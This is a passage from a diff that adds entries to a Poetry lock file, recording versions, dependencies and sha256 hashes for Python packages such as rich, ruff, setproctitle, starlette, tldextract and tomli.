"pytest"] + +[[package]] +name = "rich" +version = "15.0.0" +description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" +optional = false +python-versions = ">=3.9.0" +groups = ["main"] +files = [ + {file = "rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb"}, + {file = "rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36"}, +] + +[package.dependencies] +markdown-it-py = ">=2.2.0" +pygments = ">=2.13.0,<3.0.0" + +[package.extras] +jupyter = ["ipywidgets (>=7.5.1,<9)"] + +[[package]] +name = "ruff" +version = "0.15.10" +description = "An extremely fast Python linter and code formatter, written in Rust." +optional = false +python-versions = ">=3.7" +groups = ["dev"] +files = [ + {file = "ruff-0.15.10-py3-none-linux_armv6l.whl", hash = "sha256:0744e31482f8f7d0d10a11fcbf897af272fefdfcb10f5af907b18c2813ff4d5f"}, + {file = "ruff-0.15.10-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:b1e7c16ea0ff5a53b7c2df52d947e685973049be1cdfe2b59a9c43601897b22e"}, + {file = "ruff-0.15.10-py3-none-macosx_11_0_arm64.whl", hash = "sha256:93cc06a19e5155b4441dd72808fdf84290d84ad8a39ca3b0f994363ade4cebb1"}, + {file = "ruff-0.15.10-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:83e1dd04312997c99ea6965df66a14fb4f03ba978564574ffc68b0d61fd3989e"}, + {file = "ruff-0.15.10-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8154d43684e4333360fedd11aaa40b1b08a4e37d8ffa9d95fee6fa5b37b6fab1"}, + {file = "ruff-0.15.10-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8ab88715f3a6deb6bde6c227f3a123410bec7b855c3ae331b4c006189e895cef"}, + {file = "ruff-0.15.10-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a768ff5969b4f44c349d48edf4ab4f91eddb27fd9d77799598e130fb628aa158"}, + {file = "ruff-0.15.10-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ee3ef42dab7078bda5ff6a1bcba8539e9857deb447132ad5566a038674540d0"}, + {file = "ruff-0.15.10-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51cb8cc943e891ba99989dd92d61e29b1d231e14811db9be6440ecf25d5c1609"}, + {file = "ruff-0.15.10-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:e59c9bdc056a320fb9ea1700a8d591718b8faf78af065484e801258d3a76bc3f"}, + {file = "ruff-0.15.10-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:136c00ca2f47b0018b073f28cb5c1506642a830ea941a60354b0e8bc8076b151"}, + {file = "ruff-0.15.10-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:8b80a2f3c9c8a950d6237f2ca12b206bccff626139be9fa005f14feb881a1ae8"}, + {file = "ruff-0.15.10-py3-none-musllinux_1_2_i686.whl", hash = "sha256:e3e53c588164dc025b671c9df2462429d60357ea91af7e92e9d56c565a9f1b07"}, + {file = "ruff-0.15.10-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:b0c52744cf9f143a393e284125d2576140b68264a93c6716464e129a3e9adb48"}, + {file = "ruff-0.15.10-py3-none-win32.whl", hash = "sha256:d4272e87e801e9a27a2e8df7b21011c909d9ddd82f4f3281d269b6ba19789ca5"}, + {file = "ruff-0.15.10-py3-none-win_amd64.whl", hash = "sha256:28cb32d53203242d403d819fd6983152489b12e4a3ae44993543d6fe62ab42ed"}, + {file = "ruff-0.15.10-py3-none-win_arm64.whl", hash = "sha256:601d1610a9e1f1c2165a4f561eeaa2e2ea1e97f3287c5aa258d3dab8b57c6188"}, + {file = "ruff-0.15.10.tar.gz", hash = "sha256:d1f86e67ebfdef88e00faefa1552b5e510e1d35f3be7d423dc7e84e63788c94e"}, +] + +[[package]] +name = "setproctitle" +version = "1.3.7" +description = "A Python module to customize the process title" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "setproctitle-1.3.7-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cf555b6299f10a6eb44e4f96d2f5a3884c70ce25dc5c8796aaa2f7b40e72cb1b"}, + {file = "setproctitle-1.3.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:690b4776f9c15aaf1023bb07d7c5b797681a17af98a4a69e76a1d504e41108b7"}, + {file = "setproctitle-1.3.7-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:00afa6fc507967d8c9d592a887cdc6c1f5742ceac6a4354d111ca0214847732c"}, + {file = "setproctitle-1.3.7-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9e02667f6b9fc1238ba753c0f4b0a37ae184ce8f3bbbc38e115d99646b3f4cd3"}, + {file = "setproctitle-1.3.7-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:83fcd271567d133eb9532d3b067c8a75be175b2b3b271e2812921a05303a693f"}, + {file = "setproctitle-1.3.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:13fe37951dda1a45c35d77d06e3da5d90e4f875c4918a7312b3b4556cfa7ff64"}, + {file = "setproctitle-1.3.7-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a05509cfb2059e5d2ddff701d38e474169e9ce2a298cf1b6fd5f3a213a553fe5"}, + {file = "setproctitle-1.3.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:6da835e76ae18574859224a75db6e15c4c2aaa66d300a57efeaa4c97ca4c7381"}, + {file = "setproctitle-1.3.7-cp310-cp310-win32.whl", hash = "sha256:9e803d1b1e20240a93bac0bc1025363f7f80cb7eab67dfe21efc0686cc59ad7c"}, + {file = "setproctitle-1.3.7-cp310-cp310-win_amd64.whl", hash = "sha256:a97200acc6b64ec4cada52c2ecaf1fba1ef9429ce9c542f8a7db5bcaa9dcbd95"}, + {file = "setproctitle-1.3.7-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:a600eeb4145fb0ee6c287cb82a2884bd4ec5bbb076921e287039dcc7b7cc6dd0"}, + {file = "setproctitle-1.3.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:97a090fed480471bb175689859532709e28c085087e344bca45cf318034f70c4"}, + {file = "setproctitle-1.3.7-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1607b963e7b53e24ec8a2cb4e0ab3ae591d7c6bf0a160feef0551da63452b37f"}, + {file = "setproctitle-1.3.7-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a20fb1a3974e2dab857870cf874b325b8705605cb7e7e8bcbb915bca896f52a9"}, + {file = "setproctitle-1.3.7-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f8d961bba676e07d77665204f36cffaa260f526e7b32d07ab3df6a2c1dfb44ba"}, + {file = "setproctitle-1.3.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:db0fd964fbd3a9f8999b502f65bd2e20883fdb5b1fae3a424e66db9a793ed307"}, + {file = "setproctitle-1.3.7-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:db116850fcf7cca19492030f8d3b4b6e231278e8fe097a043957d22ce1bdf3ee"}, + {file = "setproctitle-1.3.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:316664d8b24a5c91ee244460bdaf7a74a707adaa9e14fbe0dc0a53168bb9aba1"}, + {file = "setproctitle-1.3.7-cp311-cp311-win32.whl", hash = "sha256:b74774ca471c86c09b9d5037c8451fff06bb82cd320d26ae5a01c758088c0d5d"}, + {file = "setproctitle-1.3.7-cp311-cp311-win_amd64.whl", hash = "sha256:acb9097213a8dd3410ed9f0dc147840e45ca9797785272928d4be3f0e69e3be4"}, + {file = "setproctitle-1.3.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:2dc99aec591ab6126e636b11035a70991bc1ab7a261da428491a40b84376654e"}, + {file = "setproctitle-1.3.7-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:cdd8aa571b7aa39840fdbea620e308a19691ff595c3a10231e9ee830339dd798"}, + {file = "setproctitle-1.3.7-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2906b6c7959cdb75f46159bf0acd8cc9906cf1361c9e1ded0d065fe8f9039629"}, + {file = "setproctitle-1.3.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6915964a6dda07920a1159321dcd6d94fc7fc526f815ca08a8063aeca3c204f1"}, + {file = "setproctitle-1.3.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cff72899861c765bd4021d1ff1c68d60edc129711a2fdba77f9cb69ef726a8b6"}, + {file = "setproctitle-1.3.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b7cb05bd446687ff816a3aaaf831047fc4c364feff7ada94a66024f1367b448c"}, + {file = "setproctitle-1.3.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:3a57b9a00de8cae7e2a1f7b9f0c2ac7b69372159e16a7708aa2f38f9e5cc987a"}, + {file = "setproctitle-1.3.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d8828b356114f6b308b04afe398ed93803d7fca4a955dd3abe84430e28d33739"}, + {file = "setproctitle-1.3.7-cp312-cp312-win32.whl", hash = "sha256:b0304f905efc845829ac2bc791ddebb976db2885f6171f4a3de678d7ee3f7c9f"}, + {file = "setproctitle-1.3.7-cp312-cp312-win_amd64.whl", hash = "sha256:9888ceb4faea3116cf02a920ff00bfbc8cc899743e4b4ac914b03625bdc3c300"}, + {file = "setproctitle-1.3.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:c3736b2a423146b5e62230502e47e08e68282ff3b69bcfe08a322bee73407922"}, + {file = "setproctitle-1.3.7-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3384e682b158d569e85a51cfbde2afd1ab57ecf93ea6651fe198d0ba451196ee"}, + {file = "setproctitle-1.3.7-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0564a936ea687cd24dffcea35903e2a20962aa6ac20e61dd3a207652401492dd"}, + {file = "setproctitle-1.3.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a5d1cb3f81531f0eb40e13246b679a1bdb58762b170303463cb06ecc296f26d0"}, + {file = "setproctitle-1.3.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a7d159e7345f343b44330cbba9194169b8590cb13dae940da47aa36a72aa9929"}, + {file = "setproctitle-1.3.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0b5074649797fd07c72ca1f6bff0406f4a42e1194faac03ecaab765ce605866f"}, + {file = "setproctitle-1.3.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:61e96febced3f61b766115381d97a21a6265a0f29188a791f6df7ed777aef698"}, + {file = "setproctitle-1.3.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:047138279f9463f06b858e579cc79580fbf7a04554d24e6bddf8fe5dddbe3d4c"}, + {file = "setproctitle-1.3.7-cp313-cp313-win32.whl", hash = "sha256:7f47accafac7fe6535ba8ba9efd59df9d84a6214565108d0ebb1199119c9cbbd"}, + {file = "setproctitle-1.3.7-cp313-cp313-win_amd64.whl", hash = "sha256:fe5ca35aeec6dc50cabab9bf2d12fbc9067eede7ff4fe92b8f5b99d92e21263f"}, + {file = "setproctitle-1.3.7-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:10e92915c4b3086b1586933a36faf4f92f903c5554f3c34102d18c7d3f5378e9"}, + {file = "setproctitle-1.3.7-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:de879e9c2eab637f34b1a14c4da1e030c12658cdc69ee1b3e5be81b380163ce5"}, + {file = "setproctitle-1.3.7-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:c18246d88e227a5b16248687514f95642505000442165f4b7db354d39d0e4c29"}, + {file = "setproctitle-1.3.7-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7081f193dab22df2c36f9fc6d113f3793f83c27891af8fe30c64d89d9a37e152"}, + {file = "setproctitle-1.3.7-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9cc9b901ce129350637426a89cfd650066a4adc6899e47822e2478a74023ff7c"}, + {file = "setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:80e177eff2d1ec172188d0d7fd9694f8e43d3aab76a6f5f929bee7bf7894e98b"}, + {file = "setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:23e520776c445478a67ee71b2a3c1ffdafbe1f9f677239e03d7e2cc635954e18"}, + {file = "setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5fa1953126a3b9bd47049d58c51b9dac72e78ed120459bd3aceb1bacee72357c"}, + {file = "setproctitle-1.3.7-cp313-cp313t-win32.whl", hash = "sha256:4a5e212bf438a4dbeece763f4962ad472c6008ff6702e230b4f16a037e2f6f29"}, + {file = "setproctitle-1.3.7-cp313-cp313t-win_amd64.whl", hash = "sha256:cf2727b733e90b4f874bac53e3092aa0413fe1ea6d4f153f01207e6ce65034d9"}, + {file = "setproctitle-1.3.7-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:80c36c6a87ff72eabf621d0c79b66f3bdd0ecc79e873c1e9f0651ee8bf215c63"}, + {file = "setproctitle-1.3.7-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:b53602371a52b91c80aaf578b5ada29d311d12b8a69c0c17fbc35b76a1fd4f2e"}, + {file = "setproctitle-1.3.7-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fcb966a6c57cf07cc9448321a08f3be6b11b7635be502669bc1d8745115d7e7f"}, + {file = "setproctitle-1.3.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:46178672599b940368d769474fe13ecef1b587d58bb438ea72b9987f74c56ea5"}, + {file = "setproctitle-1.3.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7f9e9e3ff135cbcc3edd2f4cf29b139f4aca040d931573102742db70ff428c17"}, + {file = "setproctitle-1.3.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:14c7eba8d90c93b0e79c01f0bd92a37b61983c27d6d7d5a3b5defd599113d60e"}, + {file = "setproctitle-1.3.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:9e64e98077fb30b6cf98073d6c439cd91deb8ebbf8fc62d9dbf52bd38b0c6ac0"}, + {file = "setproctitle-1.3.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:b91387cc0f02a00ac95dcd93f066242d3cca10ff9e6153de7ee07069c6f0f7c8"}, + {file = "setproctitle-1.3.7-cp314-cp314-win32.whl", hash = "sha256:52b054a61c99d1b72fba58b7f5486e04b20fefc6961cd76722b424c187f362ed"}, + {file = "setproctitle-1.3.7-cp314-cp314-win_amd64.whl", hash = "sha256:5818e4080ac04da1851b3ec71e8a0f64e3748bf9849045180566d8b736702416"}, + {file = "setproctitle-1.3.7-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:6fc87caf9e323ac426910306c3e5d3205cd9f8dcac06d233fcafe9337f0928a3"}, + {file = "setproctitle-1.3.7-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:6134c63853d87a4897ba7d5cc0e16abfa687f6c66fc09f262bb70d67718f2309"}, + {file = "setproctitle-1.3.7-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1403d2abfd32790b6369916e2313dffbe87d6b11dca5bbd898981bcde48e7a2b"}, + {file = "setproctitle-1.3.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e7c5bfe4228ea22373e3025965d1a4116097e555ee3436044f5c954a5e63ac45"}, + {file = "setproctitle-1.3.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:585edf25e54e21a94ccb0fe81ad32b9196b69ebc4fc25f81da81fb8a50cca9e4"}, + {file = "setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:96c38cdeef9036eb2724c2210e8d0b93224e709af68c435d46a4733a3675fee1"}, + {file = "setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:45e3ef48350abb49cf937d0a8ba15e42cee1e5ae13ca41a77c66d1abc27a5070"}, + {file = "setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:1fae595d032b30dab4d659bece20debd202229fce12b55abab978b7f30783d73"}, + {file = "setproctitle-1.3.7-cp314-cp314t-win32.whl", hash = "sha256:02432f26f5d1329ab22279ff863c83589894977063f59e6c4b4845804a08f8c2"}, + {file = "setproctitle-1.3.7-cp314-cp314t-win_amd64.whl", hash = "sha256:cbc388e3d86da1f766d8fc2e12682e446064c01cea9f88a88647cfe7c011de6a"}, + {file = "setproctitle-1.3.7-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:376761125ab5dab822d40eaa7d9b7e876627ecd41de8fa5336713b611b47ccef"}, + {file = "setproctitle-1.3.7-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:2a4e03bd9aa5d10b8702f00ec1b740691da96b5003432f3000d60c56f1c2b4d3"}, + {file = "setproctitle-1.3.7-cp38-cp38-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:47d36e418ab86b3bc7946e27155e281a743274d02cd7e545f5d628a2875d32f9"}, + {file = "setproctitle-1.3.7-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a74714ce836914063c36c8a26ae11383cf8a379698c989fe46883e38a8faa5be"}, + {file = "setproctitle-1.3.7-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f2ae6c3f042fc866cc0fa2bc35ae00d334a9fa56c9d28dfc47d1b4f5ed23e375"}, + {file = "setproctitle-1.3.7-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:be7e01f3ad8d0e43954bebdb3088cb466633c2f4acdd88647e7fbfcfe9b9729f"}, + {file = "setproctitle-1.3.7-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:35a2cabcfdea4643d7811cfe9f3d92366d282b38ef5e7e93e25dafb6f97b0a59"}, + {file = "setproctitle-1.3.7-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:8ce2e39a40fca82744883834683d833e0eb28623752cc1c21c2ec8f06a890b39"}, + {file = "setproctitle-1.3.7-cp38-cp38-win32.whl", hash = "sha256:6f1be447456fe1e16c92f5fb479404a850d8f4f4ff47192fde14a59b0bae6a0a"}, + {file = "setproctitle-1.3.7-cp38-cp38-win_amd64.whl", hash = "sha256:5ce2613e1361959bff81317dc30a60adb29d8132b6159608a783878fc4bc4bbc"}, + {file = "setproctitle-1.3.7-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:deda9d79d1eb37b688729cac2dba0c137e992ebea960eadb7c2c255524c869e0"}, + {file = "setproctitle-1.3.7-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a93e4770ac22794cfa651ee53f092d7de7105c76b9fc088bb81ca0dcf698f704"}, + {file = "setproctitle-1.3.7-cp39-cp39-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:134e7f66703a1d92c0a9a0a417c580f2cc04b93d31d3fc0dd43c3aa194b706e1"}, + {file = "setproctitle-1.3.7-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9796732a040f617fc933f9531c9a84bb73c5c27b8074abbe52907076e804b2b7"}, + {file = "setproctitle-1.3.7-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ff3c1c32382fb71a200db8bab3df22f32e6ac7ec3170e92fa5b542cf42eed9a2"}, + {file = "setproctitle-1.3.7-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:01f27b5b72505b304152cb0bd7ff410cc4f2d69ac70c21a7fdfa64400a68642d"}, + {file = "setproctitle-1.3.7-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:80b6a562cbc92b289c28f34ce709a16b26b1696e9b9a0542a675ce3a788bdf3f"}, + {file = "setproctitle-1.3.7-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:c4fb90174d176473122e7eef7c6492d53761826f34ff61c81a1c1d66905025d3"}, + {file = "setproctitle-1.3.7-cp39-cp39-win32.whl", hash = "sha256:c77b3f58a35f20363f6e0a1219b367fbf7e2d2efe3d2c32e1f796447e6061c10"}, + {file = "setproctitle-1.3.7-cp39-cp39-win_amd64.whl", hash = "sha256:318ddcf88dafddf33039ad41bc933e1c49b4cb196fe1731a209b753909591680"}, + {file = "setproctitle-1.3.7-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:eb440c5644a448e6203935ed60466ec8d0df7278cd22dc6cf782d07911bcbea6"}, + {file = "setproctitle-1.3.7-pp310-pypy310_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:502b902a0e4c69031b87870ff4986c290ebbb12d6038a70639f09c331b18efb2"}, + {file = "setproctitle-1.3.7-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:f6f268caeabb37ccd824d749e7ce0ec6337c4ed954adba33ec0d90cc46b0ab78"}, + {file = "setproctitle-1.3.7-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:b1cac6a4b0252b8811d60b6d8d0f157c0fdfed379ac89c25a914e6346cf355a1"}, + {file = "setproctitle-1.3.7-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:f1704c9e041f2b1dc38f5be4552e141e1432fba3dd52c72eeffd5bc2db04dc65"}, + {file = "setproctitle-1.3.7-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:b08b61976ffa548bd5349ce54404bf6b2d51bd74d4f1b241ed1b0f25bce09c3a"}, + {file = "setproctitle-1.3.7.tar.gz", hash = "sha256:bc2bc917691c1537d5b9bca1468437176809c7e11e5694ca79a9ca12345dcb9e"}, +] + +[package.extras] +test = ["pytest"] + +[[package]] +name = "shellingham" +version = "1.5.4" +description = "Tool to Detect Surrounding Shell" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "shellingham-1.5.4-py2.py3-none-any.whl", hash = "sha256:7ecfff8f2fd72616f7481040475a65b2bf8af90a56c89140852d1120324e8686"}, + {file = "shellingham-1.5.4.tar.gz", hash = "sha256:8dbca0739d487e5bd35ab3ca4b36e11c4078f3a234bfce294b0a0291363404de"}, +] + +[[package]] +name = "six" +version = "1.17.0" +description = "Python 2 and 3 compatibility utilities" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" +groups = ["dev", "docs"] +files = [ + {file = "six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274"}, + {file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"}, +] + +[[package]] +name = "socksio" +version = "1.0.0" +description = "Sans-I/O implementation of SOCKS4, SOCKS4A, and SOCKS5." +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "socksio-1.0.0-py3-none-any.whl", hash = "sha256:95dc1f15f9b34e8d7b16f06d74b8ccf48f609af32ab33c608d08761c5dcbb1f3"}, + {file = "socksio-1.0.0.tar.gz", hash = "sha256:f88beb3da5b5c38b9890469de67d0cb0f9d494b78b106ca1845f96c10b91c4ac"}, +] + +[[package]] +name = "soupsieve" +version = "2.8.3" +description = "A modern CSS selector implementation for Beautiful Soup." +optional = false +python-versions = ">=3.9" +groups = ["main", "docs"] +files = [ + {file = "soupsieve-2.8.3-py3-none-any.whl", hash = "sha256:ed64f2ba4eebeab06cc4962affce381647455978ffc1e36bb79a545b91f45a95"}, + {file = "soupsieve-2.8.3.tar.gz", hash = "sha256:3267f1eeea4251fb42728b6dfb746edc9acaffc4a45b27e19450b676586e8349"}, +] + +[[package]] +name = "starlette" +version = "1.0.0" +description = "The little ASGI library that shines." +optional = false +python-versions = ">=3.10" +groups = ["dev"] +files = [ + {file = "starlette-1.0.0-py3-none-any.whl", hash = "sha256:d3ec55e0bb321692d275455ddfd3df75fff145d009685eb40dc91fc66b03d38b"}, + {file = "starlette-1.0.0.tar.gz", hash = "sha256:6a4beaf1f81bb472fd19ea9b918b50dc3a77a6f2e190a12954b25e6ed5eea149"}, +] + +[package.dependencies] +anyio = ">=3.6.2,<5" +typing-extensions = {version = ">=4.10.0", markers = "python_version < \"3.13\""} + +[package.extras] +full = ["httpx (>=0.27.0,<0.29.0)", "itsdangerous", "jinja2", "python-multipart (>=0.0.18)", "pyyaml"] + +[[package]] +name = "tabulate" +version = "0.8.10" +description = "Pretty-print tabular data" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +groups = ["main"] +files = [ + {file = "tabulate-0.8.10-py3-none-any.whl", hash = "sha256:0ba055423dbaa164b9e456abe7920c5e8ed33fcc16f6d1b2f2d152c8e1e8b4fc"}, + {file = "tabulate-0.8.10.tar.gz", hash = "sha256:6c57f3f3dd7ac2782770155f3adb2db0b1a269637e42f27599925e64b114f519"}, +] + +[package.extras] +widechars = ["wcwidth"] + +[[package]] +name = "tldextract" +version = "5.3.1" +description = "Accurately separates a URL's subdomain, domain, and public suffix, using the Public Suffix List (PSL). By default, this includes the public ICANN TLDs and their exceptions. You can optionally support the Public Suffix List's private domains as well." +optional = false +python-versions = ">=3.10" +groups = ["main", "dev"] +files = [ + {file = "tldextract-5.3.1-py3-none-any.whl", hash = "sha256:6bfe36d518de569c572062b788e16a659ccaceffc486d243af0484e8ecf432d9"}, + {file = "tldextract-5.3.1.tar.gz", hash = "sha256:a72756ca170b2510315076383ea2993478f7da6f897eef1f4a5400735d5057fb"}, +] + +[package.dependencies] +filelock = ">=3.0.8" +idna = "*" +requests = ">=2.1.0" +requests-file = ">=1.4" + +[package.extras] +release = ["build", "twine"] +testing = ["mypy", "pytest", "pytest-gitignore", "pytest-mock", "responses", "ruff", "syrupy", "tox", "tox-uv", "types-filelock", "types-requests"] + +[[package]] +name = "tomli" +version = "2.4.1" +description = "A lil' TOML parser" +optional = false +python-versions = ">=3.8" +groups = ["dev"] +markers = "python_full_version <= \"3.11.0a6\"" +files = [ + {file = "tomli-2.4.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b984e85f486d652285c30"}, + {file = "tomli-2.4.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4ab97e64ccda8756376892c53a72bd1f964e519c77236368527f758fbc36a53a"}, + {file = "tomli-2.4.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96481a5786729fd470164b47cdb3e0e58062a496f455ee41b4403be77cb5a076"}, + {file = "tomli-2.4.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5a881ab208c0baf688221f8cecc5401bd291d67e38a1ac884d6736cbcd8247e9"}, + {file = "tomli-2.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47149d5bd38761ac8be13a84864bf0b7b70bc051806bc3669ab1cbc56216b23c"}, + {file = "tomli-2.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ec9bfaf3ad2df51ace80688143a6a4ebc09a248f6ff781a9945e51937008fcbc"}, + {file = "tomli-2.4.1-cp311-cp311-win32.whl", hash = "sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049"}, + {file = "tomli-2.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ee18d9ebdb417e384b58fe414e8d6af9f4e7a0ae761519fb50f721de398dd4e"}, + {file = "tomli-2.4.1-cp311-cp311-win_arm64.whl", hash = 